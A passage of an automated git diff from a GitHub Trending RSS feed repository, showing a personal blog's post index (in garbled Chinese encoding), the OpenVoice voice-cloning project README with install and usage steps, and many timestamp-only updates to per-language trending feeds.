<li><a href="https://github.com/yihong0618/gitblog/issues/74">ใVimๅฎ็จๆๅทงใ่ฏปไนฆ็ฌ่ฎฐ</a>--2019-11-05</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/52">่ฎก็ฎๆบ็ปๆ่ฆ็ด ่ฏปไนฆ็ฌ่ฎฐ</a>--2019-10-04</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/23">ใๅฟซไน็Linuxๅฝไปค่กใ่ฏปไนฆ็ฌ่ฎฐ</a>--2019-08-12</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/13">MySQLๆฏๆๆ ท่ท่ตทๆฅ็่ฏปไนฆ็ฌ่ฎฐ</a>--2019-08-01</li>
</ul>
<h2>2020</h2>
<ul>
<li><a href="https://github.com/yihong0618/gitblog/issues/194">2020 ๅนด 10 ๆๆป็ป 11 ๆ่ฎกๅ </a>--2020-11-04</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/193">ๅๅจ 0x20 ๅฒไนๅ</a>--2020-10-26</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/190">2020 ๅนด 9 ๆๆป็ป 10 ๆ่ฎกๅ</a>--2020-10-05</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/182">2020ๅนดๅ ซๆๆป็ปไนๆๆๅฑๆ</a>--2020-08-31</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/175">่ทๆญฅ็ฝ็ซๅๅฎไบ๏ผๆจๅคฉ่ทไบ20km, ไธไธไธชๅไปไนๅข๏ผ</a>--2020-08-17</li>
</ul>
<details>
<summary>ๆพ็คบๆดๅค</summary>
<ul>
<li><a href="https://github.com/yihong0618/gitblog/issues/173">็ช่ๅทฅไฝๆณ๏ผ็ฆ่๏ผๅๅก๏ผๅไธไธๆฐ๏ผ็ๆดป</a>--2020-08-10</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/171">2020ๅนดไธๆๆป็ปๅ ซๆๅฑๆ</a>--2020-08-01</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/160">ๆฐ็่ฎกๅ๏ผๆฐ็ๅผๅง๏ผๆๆ็คพไบค็ฝ็ป</a>--2020-05-29</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/159">ๆฐ็่ฎกๅ๏ผๆฐ็ๅผๅง๏ผๅญฆๆฅ่ฏญ</a>--2020-05-29</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/154">ๆฐ็่ฎกๅ๏ผๆฐ็ๅผๅง๏ผๅไธๆฌกๅ่ฅใ</a>--2020-05-09</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/152">2020ๅๆๆป็ปไบๆ่ฎกๅ</a>--2020-05-03</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/151">ๅๆ่ฟๅปไบ๏ผไบๆๆฅไบ</a>--2020-05-01</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/149">ไธๅจไธๅผๅงๅ่ฅ๏ผ่ฝฎๅ</a>--2020-04-18</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/146">ไธๅฃๆฐ็ๅฎไธๆฌไนฆ็ๆ่งๅฅฝ็ฝ</a>--2020-04-04</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/145">3ๆๆป็ปๅ4ๆๅฑๆ</a>--2020-04-01</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/144">ๆฐ็ไธๅจ๏ผๆฐ็ไธไธชๆ</a>--2020-03-30</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/142">ๅ ไบๅพฎๅ</a>--2020-03-21</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/141">ๆฅ่ฏญๅญฆไน </a>--2020-03-20</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/140">ๆฅไบใ</a>--2020-03-18</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/139">่ฟ็งปๆต่ฏ</a>--2020-03-17</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/135">็พ่ก็ๆญไบ</a>--2020-03-16</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/131">ๆบๆฒกๅฒ็</a>--2020-03-10</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/130">ๅฟซ31ๅฒไบ๏ผๅ่ไบ</a>--2020-03-09</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/127">ไบๆๆป็ปๅไธๆๅฑๆ</a>--2020-03-02</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/123">ๆฐ็ๅผๅง</a>--2020-02-24</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/121">ไธ่ฝๅ่ฟๆ ทไธๅปไบ</a>--2020-02-22</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/114">ไธๅท๏ผๅท้ไธๆฅใ</a>--2020-02-17</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/110">็ๅฐไธๅผ ๅพ๏ผ่ฏด็นไปไนใ</a>--2020-02-08</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/109">็ฆ่</a>--2020-02-03</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/108">2020 ๅนด 1 ๆๆป็ป 2 ๆๅฑๆๅฐฑไธไธช๏ผ่ฟไธชๆ่็่บ็ๅฟซ็น่ฟๅป</a>--2020-02-01</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/105">่ฟๅนดๅฅฝ</a>--2020-01-24</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/100">็ฌฌ100็ฏ๏ผๅๅฐไบ0็น</a>--2020-01-12</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/98">2020ๅฐฑ่ฟไนๆฅไบ</a>--2020-01-01</li>
</ul>
</details>
<h2>2021</h2>
<ul>
<li><a href="https://github.com/yihong0618/gitblog/issues/204">็ๅญๅฎๅ</a>--2021-01-27</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/202">ไปๅนด็ไธไธชๅฐ็ฎๆ </a>--2021-01-14</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/200">ไบ้ถไบไธๅผๅง</a>--2021-01-04</li>
</ul>
<h2>ๅผๅ็ฌ่ฎฐ</h2>
<ul>
<li><a href="https://github.com/yihong0618/gitblog/issues/220">running_page ๅผๆบไธๅจๅนด็ๆป็ป</a>--2021-09-27</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/198">ๅทงๅฆๅฉ็จ iOS ็ๅฟซๆทๆไปค้ ๅ GitHub Actions ๅฎ็ฐ่ชๅจๅ</a>--2020-12-23</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/197">ๅฆไฝ่ทๅๆฆ่ทๅๆฐๆฎ</a>--2020-12-18</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/115">vscode-gcoresๅผๅ็ฌ่ฎฐ3</a>--2020-02-18</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/111">vscode-gcores ๅผๅ็ฌ่ฎฐ 2</a>--2020-02-11</li>
</ul>
<details>
<summary>ๆพ็คบๆดๅค</summary>
<ul>
<li><a href="https://github.com/yihong0618/gitblog/issues/102">vscode-gcoresๅผๅ็ฌ่ฎฐ1</a>--2020-01-19</li>
</ul>
</details>
<h2>็ๆดป</h2>
<ul>
<li><a href="https://github.com/yihong0618/gitblog/issues/279">ๅผๆบๅผๅพไน๏ผ</a>--2023-11-23</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/272">ๅพฎไฟกๅฅฝๅ</a>--2023-08-23</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/239">ไปๅคฉ็่ทๆญฅ็ตๅฐ</a>--2022-07-18</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/235">ๆฐๅ ็บชๅ </a>--2022-04-26</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/230">ๅนด็ปๅฒๅฐพ</a>--2022-01-28</li>
</ul>
<details>
<summary>ๆพ็คบๆดๅค</summary>
<ul>
<li><a href="https://github.com/yihong0618/gitblog/issues/214">ไธไปถๅฐไบ</a>--2021-07-05</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/208">้็ฆป</a>--2021-05-12</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/207">่ฟๅต</a>--2021-03-25</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/206">ๅนด่ฟๅฎไบ</a>--2021-02-22</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/199">่ฎฐไฝ่ฟไธๅป</a>--2020-12-29</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/185">ๆฎ้ไบบๅๅคฉๆไน้ด็ๅทจๅคง้ธฟๆฒ</a>--2020-09-08</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/179">็ผ่งไฝไบ๏ผๆ ็ณปไฝๅค๏ผ่บซๅจไฝๆน๏ผๅฟๆไฝไบบ</a>--2020-08-26</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/172">่ฟท่ซ๏ผๅไธๆฌก้ๆฐๅญฆๆฅ่ฏญ</a>--2020-08-04</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/170">ๅฟๆๅ็ไบๅฅฝๅค่ฝฌๅ</a>--2020-07-22</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/169">ๆข็ถๆณจๅฎๅญค็ฌ๏ผๅฐฑๅญค็ฌๅง</a>--2020-07-11</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/162">ๆฏไฝ่ตทๆฅ๏ผๅฟซไน็ๆดป</a>--2020-06-03</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/157">็ดฏ</a>--2020-05-16</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/156">่ฟๆฅๅญ</a>--2020-05-14</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/143">ๅ่ฅ</a>--2020-03-28</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/134">31ๅฒ๏ผๅ ๆณไธๅๆณ</a>--2020-03-15</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/129">ไธไธๅๅทไบไธ้ใๆถๆใ</a>--2020-03-08</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/124">้ญๅด</a>--2020-02-27</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/122">ไปๅคฉ็ไบไธช็ตๅฝฑใๅ ฅไพต่็ป่ใ</a>--2020-02-23</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/87">ๅชณๅฆ็็ ไบ๏ผๅฟ็ผ</a>--2019-12-05</li>
<li><a href="https://github.com/yihong0618/gitblog/issues/75">ๆๅคฉๅฐๅไธๅฐฑ2ๅฒไบ</a>--2019-11-09</li>
</ul>
</details>
<h2>TODO</h2>
<p>TODO list from <a href="https://github.com/yihong0618/gitblog/issues/234">Postgres ้่ฆๅญฆ็ไธ่ฅฟ</a>--17 jobs to do--2 jobs done</p>
<ul>
<li><input type="checkbox" checked disabled> GUC</li>
<li><input type="checkbox" checked disabled> Btree & B+Tree</li>
<li><input type="checkbox" disabled> WAL</li>
<li><input type="checkbox" disabled> Locks</li>
<li><input type="checkbox" disabled> Shared memory</li>
<li><input type="checkbox" disabled> Page</li>
<li><input type="checkbox" disabled> LWLocks</li>
<li><input type="checkbox" disabled> IO</li>
<li><input type="checkbox" disabled> ๅ่ฎฎ</li>
<li><input type="checkbox" disabled> Diskquota</li>
<li><input type="checkbox" disabled> Tuple</li>
<li><input type="checkbox" disabled> FSM</li>
<li><input type="checkbox" disabled> Join</li>
<li><input type="checkbox" disabled> MVCC</li>
<li><input type="checkbox" disabled> BufferPool</li>
<li><input type="checkbox" disabled> ๅๅธๅผ</li>
<li><input type="checkbox" disabled> Hash</li>
<li><input type="checkbox" disabled> MmeoryContext</li>
<li><input type="checkbox" disabled> SPI</li>
</ul>
<p>TODO list from <a href="https://github.com/yihong0618/gitblog/issues/219">ๆฅไธๆฅ่ฆๅ็ไธ่ฅฟ</a>--3 jobs to do--5 jobs done</p>
<ul>
<li><input type="checkbox" checked disabled> running_page ไธๅจๅนดๆป็ป</li>
<li><input type="checkbox" checked disabled> ๆบๆ ธๆ็ซ </li>
<li><input type="checkbox" checked disabled> ๆ่ทๆญฅๅฌ็ๆญๅฎข</li>
<li><input type="checkbox" checked disabled> ่ฏฅ็ฆปๅผไบ</li>
<li><input type="checkbox" checked disabled> ้ๆฉ</li>
<li><input type="checkbox" disabled> django shell ็่ฟ่กๅ็</li>
<li><input type="checkbox" disabled> ๆจ่ไธคไธช YouTube ็จๅบๅ</li>
<li><input type="checkbox" disabled> ๆธธๆ่กไธ็งๆฎ</li>
</ul>
<p>TODO list from <a href="https://github.com/yihong0618/gitblog/issues/181">ๅญฆไน ็ๆดปไธ็่ฎกๅ</a>--3 jobs to do--1 jobs done</p>
<ul>
<li><input type="checkbox" checked disabled> ่ๆ ๆฅๅ็บงไธ็ๅ่ฏ</li>
<li><input type="checkbox" disabled> ๆ่ท้็ช็ ด250 km</li>
<li><input type="checkbox" disabled> ็ฆๅฐ130ๆค</li>
<li><input type="checkbox" disabled> ๅนดๅบ่ไธชๆฅ่ฏญ 3 ็บง</li>
</ul>
<p>TODO list from <a href="https://github.com/yihong0618/gitblog/issues/180">็จๅบไธๆฐ็่ฎกๅ</a>--2 jobs to do--8 jobs done</p>
<ul>
<li><input type="checkbox" checked disabled> ๅฎๅ gitblog ็ action ่ฎฉ็จๆทๆดๅฐๆดๆน</li>
<li><input type="checkbox" checked disabled> ็ป gitblog ่ฟไธชๅขๅ todo list ๅ่ฝ(่ฟไธชๅฐฑๆฏๆต่ฏ๏ผ</li>
<li><input type="checkbox" checked disabled> ็ป running page ๅขๅ ๆๅบ</li>
<li><input type="checkbox" checked disabled> ๅฎๅ runtastic ๅขๅ ไธไธชๅๆฐ</li>
<li><input type="checkbox" checked disabled> ๅฐ่ฏๆๅฎ vscode-leetcode ็cn็ฌฌไธๆน็ป้</li>
<li><input type="checkbox" checked disabled> ็ ็ฉถ่ชๅจๆชๅพๅ้ฎไปถๅ่ฝ๏ผๅทฅไฝไธ๏ผ</li>
<li><input type="checkbox" checked disabled> ๆ running page ๅๅพๆด้็จ(่ชๅจ็ๆ็jsๅฏไปฅ็จgpx็ๆ)</li>
<li><input type="checkbox" checked disabled> ๆๅฎ gcores ๆฅๅ</li>
<li><input type="checkbox" disabled> ็ปง็ปญ็ปๅคง่ฟๅๅกๅ่ดก็ฎ</li>
<li><input type="checkbox" disabled> ๅญฆ็นๅบๅฑ</li>
</ul>
+ myshell-ai/OpenVoice
+ 2024-01-04T01:36:57Z
+ tag:github.com,2024-01-04:/myshell-ai/OpenVoice
+
+ <p>Instant voice cloning by MyShell.</p><hr><div align="center">
<div>
</div>
<img src="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/resources/openvoicelogo.jpg" width="400">
<p><a href="https://arxiv.org/abs/2312.01479">Paper</a> | <a href="https://research.myshell.ai/open-voice">Website</a></p>
</div>
<h2>Join Our Community</h2>
<p>Join our <a href="https://discord.gg/myshell">Discord community</a> and select the <code>Developer</code> role upon joining to gain exclusive access to our developer-only channel! Don't miss out on valuable discussions and collaboration opportunities.</p>
<h2>Introduction</h2>
<p>As we detailed in our <a href="https://arxiv.org/abs/2312.01479">paper</a> and <a href="https://research.myshell.ai/open-voice">website</a>, the advantages of OpenVoice are three-fold:</p>
<p><strong>1. Accurate Tone Color Cloning.</strong> OpenVoice can accurately clone the reference tone color and generate speech in multiple languages and accents.</p>
<p><strong>2. Flexible Voice Style Control.</strong> OpenVoice enables granular control over voice styles, such as emotion and accent, as well as other style parameters including rhythm, pauses, and intonation.</p>
<p><strong>3. Zero-shot Cross-lingual Voice Cloning.</strong> Neither of the language of the generated speech nor the language of the reference speech needs to be presented in the massive-speaker multi-lingual training dataset.</p>
<p><a href="https://github.com/myshell-ai/OpenVoice/assets/40556743/3cba936f-82bf-476c-9e52-09f0f417bb2f">Video</a></p>
<div align="center">
<div>
</div>
<img src="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/resources/framework-ipa.png" width="800">
<div>
</div>
</div>
<p>OpenVoice has been powering the instant voice cloning capability of <a href="https://app.myshell.ai/explore">myshell.ai</a> since May 2023. Until Nov 2023, the voice cloning model has been used tens of millions of times by users worldwide, and witnessed the explosive user growth on the platform.</p>
<h2>Main Contributors</h2>
<ul>
<li><a href="https://www.qinzy.tech">Zengyi Qin</a> at MIT and MyShell</li>
<li><a href="https://wl-zhao.github.io">Wenliang Zhao</a> at Tsinghua University</li>
<li><a href="https://yuxumin.github.io">Xumin Yu</a> at Tsinghua University</li>
<li><a href="https://twitter.com/ethan_myshell">Ethan Sun</a> at MyShell</li>
</ul>
<h2>Live Demo</h2>
<div align="center">
<a href="https://www.lepton.ai/playground/openvoice"><img src="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/resources/lepton.jpg"></a>
<a href="https://app.myshell.ai/bot/z6Bvua/1702636181"><img src="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/resources/myshell.jpg"></a>
</div>
<h2>Disclaimer</h2>
<p>This is a implementation that approximates the performance of the internal voice clone technology of <a href="https://app.myshell.ai/explore">myshell.ai</a>. The online version in myshell.ai has better 1) audio quality, 2) voice cloning similarity, 3) speech naturalness and 4) computational efficiency.</p>
<h2>Installation</h2>
<p>Clone this repo, and run</p>
<pre><code>conda create -n openvoice python=3.9
conda activate openvoice
conda install pytorch==1.13.1 torchvision==0.14.1 torchaudio==0.13.1 pytorch-cuda=11.7 -c pytorch -c nvidia
pip install -r requirements.txt
</code></pre>
<p>Download the checkpoint from <a href="https://myshell-public-repo-hosting.s3.amazonaws.com/checkpoints_1226.zip">here</a> and extract it to the <code>checkpoints</code> folder</p>
<h2>Usage</h2>
<p><strong>1. Flexible Voice Style Control.</strong> Please see <a href="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/demo_part1.ipynb"><code>demo_part1.ipynb</code></a> for an example usage of how OpenVoice enables flexible style control over the cloned voice.</p>
<p><strong>2. Cross-Lingual Voice Cloning.</strong> Please see <a href="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/demo_part2.ipynb"><code>demo_part2.ipynb</code></a> for an example for languages seen or unseen in the MSML training set.</p>
<p><strong>3. Gradio Demo.</strong> Launch a local gradio demo with <a href="https://raw.githubusercontent.com/myshell-ai/OpenVoice/main/openvoice_app.py"><code>python -m openvoice_app --share</code></a>.</p>
<p><strong>4. Advanced Usage.</strong> The base speaker model can be replaced with any model (in any language and style) that the user prefer. Please use the <code>se_extractor.get_se</code> function as demonstrated in the demo to extract the tone color embedding for the new base speaker.</p>
<p><strong>5. Tips to Generate Natural Speech.</strong> There are many single or multi-speaker TTS methods that can generate natural speech, and are readily available. By simply replacing the base speaker model with the model you prefer, you can push the speech naturalness to a level you desire.</p>
<h2>Roadmap</h2>
<ul>
<li><input type="checkbox" checked disabled> Inference code</li>
<li><input type="checkbox" checked disabled> Tone color converter model</li>
<li><input type="checkbox" checked disabled> Multi-style base speaker model</li>
<li><input type="checkbox" checked disabled> Multi-style and multi-lingual demo</li>
<li><input type="checkbox" checked disabled> Base speaker model in other languages</li>
<li><input type="checkbox" checked disabled> EN base speaker model with better naturalness</li>
</ul>
<h2>Citation</h2>
<pre><code>@article{qin2023openvoice,
title={OpenVoice: Versatile Instant Voice Cloning},
author={Qin, Zengyi and Zhao, Wenliang and Yu, Xumin and Sun, Xin},
journal={arXiv preprint arXiv:2312.01479},
year={2023}
}
</code></pre>
<h2>License</h2>
<p>This repository is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License, which prohibits commercial usage. <strong>MyShell reserves the ability to detect whether an audio is generated by OpenVoice</strong>, no matter whether the watermark is added or not.</p>
<h2>Acknowledgements</h2>
<p>This implementation is based on several excellent projects, <a href="https://github.com/coqui-ai/TTS">TTS</a>, <a href="https://github.com/jaywalnut310/vits">VITS</a>, and <a href="https://github.com/daniilrobnikov/vits2">VITS2</a>. Thanks for their awesome work!</p>
\ No newline at end of file
diff --git a/q%23/daily/index.xml b/q%23/daily/index.xml
index 0c8ab9a6a66..8e3c436aeb8 100644
--- a/q%23/daily/index.xml
+++ b/q%23/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Q# Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:20Z
+ 2024-01-04T01:37:11ZDaily Trending of Q# in GitHub
\ No newline at end of file
diff --git a/q/daily/index.xml b/q/daily/index.xml
index 4b11644d1f5..c2b46a879e3 100644
--- a/q/daily/index.xml
+++ b/q/daily/index.xml
@@ -1,7 +1,7 @@
GitHub q Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:19Z
+ 2024-01-04T01:37:10ZDaily Trending of q in GitHub
\ No newline at end of file
diff --git a/qmake/daily/index.xml b/qmake/daily/index.xml
index 4787c602233..cee88f17942 100644
--- a/qmake/daily/index.xml
+++ b/qmake/daily/index.xml
@@ -1,7 +1,7 @@
GitHub QMake Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:19Z
+ 2024-01-04T01:37:09ZDaily Trending of QMake in GitHub
\ No newline at end of file
diff --git a/qml/daily/index.xml b/qml/daily/index.xml
index ad43fd6425b..9b246907171 100644
--- a/qml/daily/index.xml
+++ b/qml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub QML Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:23Z
+ 2024-01-04T01:37:13ZDaily Trending of QML in GitHub
\ No newline at end of file
diff --git a/qt-script/daily/index.xml b/qt-script/daily/index.xml
index f3091ea1e97..5d04109ddf1 100644
--- a/qt-script/daily/index.xml
+++ b/qt-script/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Qt Script Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:22Z
+ 2024-01-04T01:37:12ZDaily Trending of Qt Script in GitHub
\ No newline at end of file
diff --git a/quake/daily/index.xml b/quake/daily/index.xml
index 6306cb2c4d8..c3598027435 100644
--- a/quake/daily/index.xml
+++ b/quake/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Quake Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:21Z
+ 2024-01-04T01:37:13ZDaily Trending of Quake in GitHub
\ No newline at end of file
diff --git a/r/daily/index.xml b/r/daily/index.xml
index 022363ce895..6d1bc336694 100644
--- a/r/daily/index.xml
+++ b/r/daily/index.xml
@@ -1,7 +1,7 @@
GitHub R Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:24Z
+ 2024-01-04T01:37:16ZDaily Trending of R in GitHub
\ No newline at end of file
diff --git a/racket/daily/index.xml b/racket/daily/index.xml
index 28aa0eb18ae..9ae57d726f9 100644
--- a/racket/daily/index.xml
+++ b/racket/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Racket Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:29Z
+ 2024-01-04T01:37:22ZDaily Trending of Racket in GitHub
\ No newline at end of file
diff --git a/ragel/daily/index.xml b/ragel/daily/index.xml
index d884e57ce7b..455806022a8 100644
--- a/ragel/daily/index.xml
+++ b/ragel/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ragel Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:31Z
+ 2024-01-04T01:37:25ZDaily Trending of Ragel in GitHub
\ No newline at end of file
diff --git a/raku/daily/index.xml b/raku/daily/index.xml
index de8e7b1bebd..8f8a932030c 100644
--- a/raku/daily/index.xml
+++ b/raku/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Raku Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:30Z
+ 2024-01-04T01:37:24ZDaily Trending of Raku in GitHub
\ No newline at end of file
diff --git a/raml/daily/index.xml b/raml/daily/index.xml
index efd7654c5a9..e0fa014d85c 100644
--- a/raml/daily/index.xml
+++ b/raml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RAML Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:30Z
+ 2024-01-04T01:37:23ZDaily Trending of RAML in GitHub
\ No newline at end of file
diff --git a/rascal/daily/index.xml b/rascal/daily/index.xml
index 9a63bb8d6ca..52638587e6d 100644
--- a/rascal/daily/index.xml
+++ b/rascal/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Rascal Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:34Z
+ 2024-01-04T01:37:27ZDaily Trending of Rascal in GitHub
\ No newline at end of file
diff --git a/raw-token-data/daily/index.xml b/raw-token-data/daily/index.xml
index 85321f1e5d3..db4e6abe682 100644
--- a/raw-token-data/daily/index.xml
+++ b/raw-token-data/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Raw token data Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:34Z
+ 2024-01-04T01:37:26ZDaily Trending of Raw token data in GitHub
\ No newline at end of file
diff --git a/rdoc/daily/index.xml b/rdoc/daily/index.xml
index eba132f235c..08ae7becedf 100644
--- a/rdoc/daily/index.xml
+++ b/rdoc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RDoc Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:32Z
+ 2024-01-04T01:37:26ZDaily Trending of RDoc in GitHub
\ No newline at end of file
diff --git a/readline-config/daily/index.xml b/readline-config/daily/index.xml
index f7f51fb42e7..0081df9e81f 100644
--- a/readline-config/daily/index.xml
+++ b/readline-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Readline Config Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:35Z
+ 2024-01-04T01:37:29ZDaily Trending of Readline Config in GitHub
\ No newline at end of file
diff --git a/realbasic/daily/index.xml b/realbasic/daily/index.xml
index 4955833e778..c835a5c0854 100644
--- a/realbasic/daily/index.xml
+++ b/realbasic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub REALbasic Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:36Z
+ 2024-01-04T01:37:29ZDaily Trending of REALbasic in GitHub
\ No newline at end of file
diff --git a/reason/daily/index.xml b/reason/daily/index.xml
index 87724f2b2cd..76f95bea514 100644
--- a/reason/daily/index.xml
+++ b/reason/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Reason Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:38Z
+ 2024-01-04T01:37:31ZDaily Trending of Reason in GitHub
\ No newline at end of file
diff --git a/rebol/daily/index.xml b/rebol/daily/index.xml
index 9bcc2a83723..b349fb3321f 100644
--- a/rebol/daily/index.xml
+++ b/rebol/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Rebol Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:39Z
+ 2024-01-04T01:37:34ZDaily Trending of Rebol in GitHub
\ No newline at end of file
diff --git a/record-jar/daily/index.xml b/record-jar/daily/index.xml
index 6d74f10a772..25e9c010c48 100644
--- a/record-jar/daily/index.xml
+++ b/record-jar/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Record Jar Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:40Z
+ 2024-01-04T01:37:32ZDaily Trending of Record Jar in GitHub
\ No newline at end of file
diff --git a/red/daily/index.xml b/red/daily/index.xml
index 904e32bb12e..c43609c1b4e 100644
--- a/red/daily/index.xml
+++ b/red/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Red Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:40Z
+ 2024-01-04T01:37:33ZDaily Trending of Red in GitHub
\ No newline at end of file
diff --git a/redcode/daily/index.xml b/redcode/daily/index.xml
index 0fc49c7f6ae..51305deb50c 100644
--- a/redcode/daily/index.xml
+++ b/redcode/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Redcode Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:41Z
+ 2024-01-04T01:37:32ZDaily Trending of Redcode in GitHub
\ No newline at end of file
diff --git a/redirect-rules/daily/index.xml b/redirect-rules/daily/index.xml
index 32a15a256fa..c26595502f2 100644
--- a/redirect-rules/daily/index.xml
+++ b/redirect-rules/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Redirect Rules Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:42Z
+ 2024-01-04T01:37:35ZDaily Trending of Redirect Rules in GitHub
\ No newline at end of file
diff --git a/regular-expression/daily/index.xml b/regular-expression/daily/index.xml
index 8d93e33b698..5060a3b296e 100644
--- a/regular-expression/daily/index.xml
+++ b/regular-expression/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Regular Expression Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:43Z
+ 2024-01-04T01:37:36ZDaily Trending of Regular Expression in GitHub
\ No newline at end of file
diff --git a/ren'py/daily/index.xml b/ren'py/daily/index.xml
index 16186678b63..ecabd90d80b 100644
--- a/ren'py/daily/index.xml
+++ b/ren'py/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ren'Py Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:36:45Z
+ 2024-01-04T01:37:36ZDaily Trending of Ren'Py in GitHub
\ No newline at end of file
diff --git a/renderscript/daily/index.xml b/renderscript/daily/index.xml
index 4f238bb6b71..ad13d2c376e 100644
--- a/renderscript/daily/index.xml
+++ b/renderscript/daily/index.xml
@@ -1,7 +1,7 @@
